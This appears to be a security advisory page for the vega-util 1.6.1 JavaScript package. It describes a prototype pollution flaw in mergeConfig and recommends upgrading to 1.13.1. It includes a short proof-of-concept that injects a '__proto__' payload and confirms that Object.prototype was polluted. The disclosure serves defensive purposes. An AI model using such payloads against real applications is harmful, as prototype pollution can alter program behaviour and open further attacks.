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vega-util@1.6.1 vulnerabilities

JavaScript utilities for Vega.

  • latest version

    1.17.2

  • latest non vulnerable version

    1.17.2

  • first published

    8 years ago

  • latest version published

    1 years ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the vega-util package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    vega-util is a JavaScript utilities package for Vega.

    Affected versions of this package are vulnerable to Prototype Pollution. The vega.mergeConfig method within vega-util could be tricked into adding or modifying properties of Object.prototype.

    PoC by Snyk

    var util = require('vega-util')
var config = '{style: {point: {shape: triangle-right}}}'
var malicious_payload = '{"__proto__":{"vulnerable":"Polluted"}}';

  var c = util.mergeConfig(
    config,
    JSON.parse(malicious_payload)
  );
console.log({}.vulnerable);

    How to fix Prototype Pollution?

    Upgrade vega-util to version 1.13.1 or higher.

    <1.13.1
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